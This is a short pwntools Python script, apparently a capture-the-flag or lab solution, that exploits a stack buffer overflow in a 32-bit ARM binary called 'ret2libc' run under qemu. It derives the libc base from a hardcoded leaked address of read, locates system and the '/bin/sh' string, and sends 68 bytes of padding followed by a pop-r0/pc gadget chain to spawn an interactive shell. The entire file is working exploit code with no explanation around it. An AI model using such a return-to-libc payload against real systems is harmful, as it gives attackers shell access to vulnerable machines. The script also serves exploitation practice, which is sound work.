from pwn import *

context.update(log_level='debug', arch='arm', bits='32', os='linux')


def main():

    read_libc = 0x3ff2bac0

    p = process(['qemu-arm','-L','/usr/arm-linux-gnueabi', './ret2libc'])

    libc = ELF("/usr/arm-linux-gnueabi/lib/libc.so.6")
    read_offset = libc.symbols['read']
    system_offset = libc.symbols['system']
    bin_sh_offset = next(libc.search(b'/bin/sh\x00'))
    libc_start = read_libc - read_offset
    log.info("libc_start: 0x%x", libc_start)
    system_addr = libc_start + system_offset
    bin_sh_addr = libc_start + bin_sh_offset

    pop_r0_pc_offset = 0x00150bbc
    pop_r0_pc = libc_start + pop_r0_pc_offset

    payload = b"A" * 68
    payload += p32(pop_r0_pc)
    payload += p32(bin_sh_addr)
    payload += p32(system_addr)



    p.sendline(payload)

    p.interactive()


if __name__ == "__main__":
    main()